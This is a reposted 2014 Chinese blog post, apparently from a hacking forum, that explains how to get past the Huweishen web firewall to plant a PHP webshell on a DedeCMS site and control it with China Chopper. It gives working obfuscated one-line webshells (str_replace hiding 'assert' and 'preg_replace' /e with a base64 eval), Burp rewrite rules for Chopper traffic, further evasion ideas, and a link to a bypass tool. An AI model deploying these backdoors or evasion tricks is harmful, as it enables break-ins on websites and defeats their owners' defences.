最新消息:

一次有意思的绕过护卫神连接一句话研究

别人经典渗透过程学习 admin 2680浏览 0评论

##########################################
#  Title: 一次有意思的绕过护卫神连接接一句话研究
#  Time:2014.04.17
#  Team: c0deplay
#  Author: haxsscker
#  首发: 法客论坛
#######################################


一直在关注安全狗~~~好久没有测试护卫神了,不知道升级成啥样了~~~
这样对护卫神不公平!所以~~今天就来试试如何绕过护卫神~~~

先来说说研究成果~~~

服务端:

    <?php $a = str_replace(x,"","pxxxrexxxxg_rxxxepxxxlaxxce");
    $a("/^/e",base64_decode($_REQUEST[g]),0); ?>

连接端:
chopper+burp

http://xxxx/index1.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp 密码1

ps:ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp就是eval(base64_decode($_REQUEST[1]))的base64编码。

burp正则:=@eval\(base64_decode\(\$_POST\[z0\]\)\);&z0=
替换为=

ps:我本机试时,可能和作者用的不是同一个菜刀,我菜刀的正则替换为:%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=,将其替换为空即可。

20140421214033
———————————————————————————————————————————-
————————–只想知道方法对研究过程没有感觉的机油,下面可以不看啦~~———-
——————————————————————————————————–

首先进入了一个DEDE后台(怎么进去的咱就不管了,不是重点):
首先来到默认模板管理,上传一个一句话的模板- –

104155gv1qjgnv1oi9a1p61

~~~我擦,悲剧……IP直接被封……尼玛,换代理…………
1042086jpiytqrp9gsy9rs

我们换如下的变形一句话,而且后缀改为*.htm:

<?php $a = str_replace(x,"","axsxxsxexrxxt"); 
$a($_POST["c"]); ?>

好的……正常传上去了……
然后来到生成模板,生成下文件:
104914dx5kwxq5w365p52l

链接下试试
尼玛……又是该死的护卫神(上面的路径什么的是缓存,因为这是成功后才去截的图,大致返回是“提交的数据中包含恶意代码”之类的):
104656x2pjkxc2ypsaqfpp

这样看来,护卫神是对菜刀下手了,我们需要对菜刀提交的参数做变化,最简单的莫过于base64加密了,我们来看看

提交如下形式的PHP一句话:

<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

额……直接被杀了……不过没有封我IP……万幸万幸……
104921vz01bzocyn64uznp

104927dwl9c795lppbzcuu1

————————————-
那怎么办呢,还记得上面的两句话形式么,没有被杀,那么我们修改下:

<?php $a = str_replace(x,"","pxxxrexxxxg_rxxxepxxxlaxxce"); 
$a("/^/e",base64_decode($_REQUEST[g]),0); ?>

提交~~上去了~~~

生成成功

我们先测试下行不行

105418dpdvdkqroaod4z3d2
很好,成功读出了盘符号~~

然后我们响应修改BURP:
105520o46spix024p77jdp

然后记得修改IE代理,因为CHOPPER用的就是它:
1056006o991fngwg9fohh6

然后,菜刀再试试-3-,搞定:
104648z57ymfmo2m9zlt861

——————————————————————————————————————————————–
————————————————-反思———————————————————————-
——————————————————————————————————————————————–

安全狗、护卫神这类软件,其实规则都是人写的,他们必须使得网站提交的正常数据能够通过,那么,我们完全可以将恶意数据做成类似正常的数据进行提交

一般,base64是不会被封杀的,为什么?因为很多CMS提交数据都使用base64加密。

这里厂商或许可以这样做:检查base64的真实内容,即,做base64_decode

我们要帮助机油,不能总是帮厂商不是?
那么如果他们开始检查base64的真实内容怎么办?也很简单,我们提交的base64内容经过二次加密,在服务器端使用str_replace等解密执行,str_replace总不能被封杀吧~~~多除了/e参数,是多么正常的方法啊~~~

要是str_replace被封杀了呢?那么不是还有create_function吗~~~

要是……不用想啦~总之,php变形的方式多种多样,每一个输入都有可能造成危害~~~~不过防御的方法其实还是有的,比较麻烦,目前并不适合一般厂商使用~~~这里就不再讨论~~~
ps:http://pan.baidu.com/s/18bbau这里面有过护卫神的楼主

转自:http://sb.f4ck.org/thread-18094-1-1.html

 

转载请注明:jinglingshu的博客 » 一次有意思的绕过护卫神连接一句话研究

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址